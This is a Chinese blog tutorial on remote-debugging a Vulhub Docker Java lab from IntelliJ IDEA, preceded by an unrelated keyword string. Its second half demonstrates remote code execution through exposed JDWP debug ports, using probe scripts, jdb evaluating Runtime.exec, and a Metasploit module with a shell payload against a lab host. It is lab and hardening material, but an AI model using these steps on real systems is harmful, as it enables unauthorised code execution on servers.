城市建设网站金,建站怎么赚钱,wordpress广告图片轮播代码,dw网站建设模板文章目录 前言Docker远程调试Java调试原理远程调试实践 JDWP端口RCE调试端口探测调试端口利用 总结 前言
在对一些 Java CVE 漏洞的调试分析过程中#xff0c;少不了需要搭建漏洞环境的场景#xff0c;但是本地 IDEA 搭建的话既麻烦#xff08;通过 pom.xml 导入各种漏洞组… 文章目录 前言Docker远程调试Java调试原理远程调试实践 JDWP端口RCE调试端口探测调试端口利用 总结 前言
在对一些 Java CVE 漏洞的调试分析过程中少不了需要搭建漏洞环境的场景但是本地 IDEA 搭建的话既麻烦通过 pom.xml 导入各种漏洞组件和依赖包又不安全容易把自己机器变成靶机了这个时候如果能直接在虚拟机运行 Vulhub 提供的 Docker 靶场并使用物理机 IDEA 对其进行远程调试那么这项工作就显得安全便捷了。
本文来学习下如何通过 IDEA 远程调试远程 Docker 服务的靶场环境同时学习此类调试环境衍生的服务器安全风险——JDWP调试接口对外开放导致RCE漏洞。
Docker远程调试
Java调试原理
学习如何远程调试 Docker 容器服务之前先来了解下 Java 调试的基本原理。本章节主要参考使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 强烈推荐。
随便起个本地 Java 项目进行 IDEA 本地调试可以看到如下日志 Debug 大致过程如下 以上过程被称为 JPDA 调用体系。JPDAJava Platform Debugger Architecture是 sun 公司开发的 java平台调试体系 它主要有三个层次组成
JPDA 组成部分核心作用Java 虚拟机工具接口 (JVMTI)它是虚拟机的本地接口其相当于 Thread 的 sleep、yield native 方法Java 调试网络协议 JDWPJava Debug Wire Protocol描述了调试信息的格式以及在被调试的进程server和调试器client之间传输的请求Java 调试接口JDI虚拟机的高级接口调试器client自己实现 JDI 接口比如 idea 等其他编译器
综上我们知道了 IDEA 调试的原理大致如下
先建立起了 socket 连接将断点位置创建了断点事件通过 JDI 接口传给了 服务端程序端的 JVMJVM 调用 suspend 将 JVM 挂起JVM 挂起之后将客户端需要获取的 JVM 信息返回给客户端返回之后 JVM resume 恢复其运行状态客户端获取到 JVM 返回的信息之后可以通过不同的方式展示给客户端
总的来说本地调试其实也可以认为是远程调试IDEA 通过本地随机端口与 JVM 进行 socket 通信。
远程调试指的是使用本地客户端来调试运行在远程服务器上的程序。IntelliJ IDEA 远程调试的原理是当服务器端以调试模式运行 Java 程序时如果客户端使用文本相同的字节码和事先约定好的端口号就可以远程调试该 Java 程序。因此IntelliJ IDEA 远程调试的必要条件是
Java 程序必须在服务端已经启动且在调试时正在运行Java 程序在服务端以调试模式启动以调试模式启动需要在运行该 Java 程序时使用一些调试模式的 JVM 参数客户端使用 IntelliJ IDEA 进行调试时使用与服务端事先约定好的相同端口号且该端口号在服务端没有被占用客户端使用 IntelliJ IDEA 进行调试时使用的代码在文本上与服务端一致。 “在文本上一致” 指的是客户端使用的代码与服务端使用的代码的文字完全相同如果不一致使用的断点将不起作用。文本上一致不包括注释但包括换行。文本上一致不需要是同一个代码源文件只需要文本相同即可。 So 问题来了此处由于我们希望在远程调试过程中直接引用的别人的 Docker 镜像但咱们手上又没有构建 docker 镜像时的源代码咱们最多只能提取 docker 容器中的 jar 包这个能不能替代服务端源代码答案是可以的。
回想我们平时 IDEA 引入第三方 jar 包只要 Add as Library 操作jar 包就被打开了可以看到 “源代码”并且 jar 包内的 ClassName 就可以被我们实例化调用还可以在 jar 包的 .class 文件里打断点进行调试。所以在远程调试 Docker 镜像服务的时候我们也可以提取 docker 容器中的 jar 包然后到 IDEA 项目中将其 Add as Library 引入即可解决代码文本与服务端保持一致的问题。
远程调试实践
此处以 Java代码审计之SpEL表达式注入漏洞分析 一文中提到的 CVE-2022-22963 靶场环境为例在 Ubuntu 虚拟机中借助 Vulhub 靶场集成环境快速搭建 Docker 漏洞环境服务。 【注意】请先确认物理机项目的 Java 版本与远程 Docker 服务的 Java 版本一致大版本即可比如 Java 1.8至于 1.8.0_202 这类的小版本则关系不大避免断点调试失败。 1、在 docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问
2、在 docker-compose.yml 中使用 command 字段添加自定义启动命令
java -agentlib:jdwptransportdt_socket,servery,suspendn,addressxxxx -jar jar包名称.jar
//最终示例配置如下
command: java -jar -Xdebug -Xrunjdwp:transportdt_socket,servery,suspendn,address9001 /spring-cloud-function-sample-0.0.1-SNAPSHOT.jar是不是突然发现自己不知道 jar 包名字叫啥可以先启动容器然后执行 docker ps --no-trunc 输出完整的容器描述就可以看到容器名称以及容器中的路径 故最后添加配置如下
3、执行命令docker cp 容器id:jar包路径 目标路径从 Docker 容器中获取等待调试的漏洞环境 Jar 包到 Ubuntu 虚拟机桌面 4、Ubuntu 虚拟机搭建 python 简易 Service通过局域网服务将文件 jar 传递到物理机中 5、然后划重点修改了 docker-compose.yml 之后一定要执行 docker rm -f 容器ID删除容器并重新执行docker-compose up -d生成新的容器才会使配置生效本人亲身踩坑的教训…… 6、接着在物理机 IDEA 随意新建一个 Java 项目中将 spring-cloud-function-sample-0.0.1-SNAPSHOT.jar 添加到文件夹中然后右键 jar 包选择 Add as Lirary 将其添加到项目依赖库中 【强烈推荐】实际上最简洁方便的方案是直接新建一个空文件夹存放此 Jar 文件后解压缩 jar 包然后通过 IDEA 直接打开该文件夹就可以。 7、先在 uppercase() 函数打上断点
8、然后在 IDEA 配置 Remote Debug 9、然后 Debug 运行发现可以成功连接上远程 9001 调试端口如下日志信息即代表成功连接 但是访问 http://192.168.51.177:8080/uppercase却发现并无法成功拦截、调试远程程序
10、参考 使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 来看需要通过 Project Structure--Modules--Dependencies 手动添加要调试的 class 文件的目录 BOOT-INF 到依赖之中
11、重新 Restart Debug并发送报文发现就能成功在断点处拦截远程 Docker 服务执行了
POST /uppercase HTTP/1.1
Host: 192.168.51.177:8080
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9,en;q0.8
Connection: close
Content-Length: 3aaa12、但是还是有问题针对该漏洞我们需要核心下断点的类位于 lib 文件夹下的 spring-cloud-function-web-3.3.3.jar 中而此时的断点调试仍然无法进入第三方依赖包中故我们尝试把 lib 文件夹复制到根目录如果你使用我在 步骤6 中推荐的方式创建文件夹打开项目则不需要这么麻烦地复制到根目录并右键 Add as Library 不幸的是至此发现仍然无法正常在 Spring-cloud-function-web-3.2.2.jar 依赖包 Controller 层 FunctionController.class 的 post 函数处下断点拦截、调试原因不详此处折腾了我一上午时间如有大佬知情的话辛苦留言指点下谢谢…… 但是经 m0rta1 大佬指点此时也并非 lib 目录下的所有依赖包都无法添加断点此处可以采用“曲线救国”法在 post 函数里的 processRequest 函数添加断点则可以成功拦截程序
最后简单总结下上述远程调试 Docker 服务的步骤
在 docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问在 docker-compose.yml 中使用 command 字段添加自定义启动命令java -agentlib:jdwptransportdt_socket,servery,suspendn,addressxxxx -jar jar包名称.jar 容器启动后从容器中把运行的 jar 包复制出来新建一个文件夹将 jar 包解压缩到里面IDEA 点击 Open 打开这个文件夹 选择 Add as Lirary 将 lib 依赖库统一添加到项目依赖库中并按需在代码上打上断点IDEA 配置 Remote Debug点击 Debug 运行即可。 【致谢】此处万分感谢 m0rta1 大佬耐心地帮我解决上述调试过程中出现的疑惑大佬博文质量很高强烈推荐收藏关注 JDWP端口RCE
前面说到了JDWP 是 JVM 虚拟机支持的一种网络通讯协议通过该协议Debugger 端和被调试 JVM 之间可以进行通信调试端可以获取被调试 JVM 的包括类、对象、线程等信息。
既然 JDWP 是为 Java 调试而设计的通讯交互协议在渗透测试的过程中如果遇到目标服务器不小心开启了对外暴露的 JDWP 服务那么就可以利用 JDWP 实现连接远程服务器实现远程代码执行。
调试端口探测
此处以跟上文运行 Docker 调试服务的 Ubuntu 虚拟机处于同一局域网的 KaliLinux 作为攻击机来完成 JDWP 危险端口的探测和漏洞利用。
此处 Ubuntu 虚拟机继续开放了 8080 服务端口和 9001 调试端口 JDWP 服务探测的原理都是一样的即向目标端口连接后发送 JDWP-Handshake如果目标服务直接返回一样的内容则说明是 JDWP 服务。
使用Nmap扫描
Nmap 扫描会识别到 JDWP 服务且添加 -sV 参数则可以识别对应的 JDK 版本信息如下所示 使用 Telnet 命令探测
使用 Telnet 命令探测需要马上输入 JDWP-Handshake然后服务端返回一样的内容证明是 JDWP 服务有点费手不推荐
──(kali㉿kali)-[~/Desktop]
└─$ telnet 192.168.51.177 9001
Trying 192.168.51.177...
Connected to 192.168.51.177.
Escape character is ^].
JDWP-Handshake
JDWP-Handshake
……Python脚本探测
使用如下脚本扫描也可以直接连接目标服务器并向目标发送 JDWP-Handshake如果能接收到相同内容则说明目标是开启了 JDWP 服务
import sockethost 192.168.51.177
port 9001
try:client socket.socket()client.connect((host, port))client.send(bJDWP-Handshake)if client.recv(1024) bJDWP-Handshake:print([*] {}:{} Listening JDWP Service! .format(host, port))
except Exception as e:print([-] Connection failed! )
finally:client.close()调试端口利用
介绍来介绍两种方法快速将探测到的 JDWP 服务端口转换成一个远程 RCE。
利用JDB工具
jdb 是 JDK 中自带的命令行调试工具执行如下命令连接远程 JDWP 服务
jdb -connect com.sun.jdi.SocketAttach:hostname192.168.51.177,port9001接下来执行threads命令查看所有线程 接着需要借助 thread 线程id 命令选中一个 sleeping正在休眠 的线程接下来执行stepi命令进入该线程可通过执行help指令得知stepi命令用于执行当前指令启动休眠的线程。但是我这里显然没有正在休眠的线程导致没法继续正常往下演示只能选取别人的截图了…… 接下来可以通过 print|dump|eval 命令执行 Java 表达式从而达成命令执行
eval java.lang.Runtime.getRuntime().exec(whoami)可以看到命令是执行成功返回了一个 Process 对象。当然还可以进一步进行反弹 shell 的操作Payload 注意先经过编码转换。 更多 JDB 的用法请参见Java调试工具 jdb深入解析应用程序调试工具jdb 。 利用MSF的漏洞利用模块
为了方便可以直接使用 Metasploit 自带的漏洞利用模块 exploit/multi/misc/java_jdwp_debugger 进行漏洞利用
msfconsole
msf6 use exploit/multi/misc/java_jdwp_debugger
msf6 exploit(multi/misc/java_jdwp_debugger) set rhosts 192.168.51.177
msf6 exploit(multi/misc/java_jdwp_debugger) set rport 9001
msf6 exploit(multi/misc/java_jdwp_debugger) set payload linux/x64/shell/bind_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) run遗憾的是我执行 MSF 攻击 Docker 靶机也出现了反弹 shell 创建 session 异常提示跟上面 JDB 调试利用的异常一样“MSF 找不到适合单步执行的线程”。
应该是自身靶场环境的问题肝了一天了此处暂时不花时间纠结了后续再来溯源这个问题先看下大佬的演示图吧
Github利用脚本
最后Github 也有现成的 JDWP 端口远程漏洞利用脚本jdwp-codeifier这里不展开有需要自行获取测试使用方法已有 README 文档。
总结
本文学习了如何在物理机 IDEA 中远程调试 Ununtu 虚拟机 Vubhub 靶场集成环境搭建起来的 Docker 服务为后续漏洞分析调试提供了一种新的手段。
同时学习 Java 调试的基本步骤原理分析了 JDWP 调试端口如果在使用完不及时关闭且暴露在外网的话可能存在的 RCE 风险。故无论是开发人员还是安全测试、运维人员在对 Java 服务端进行远程调试后务必终断 JDWP 调试端口。
本文参考文章
JDWP调试接口RCE漏洞介绍使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 附解决思考过程
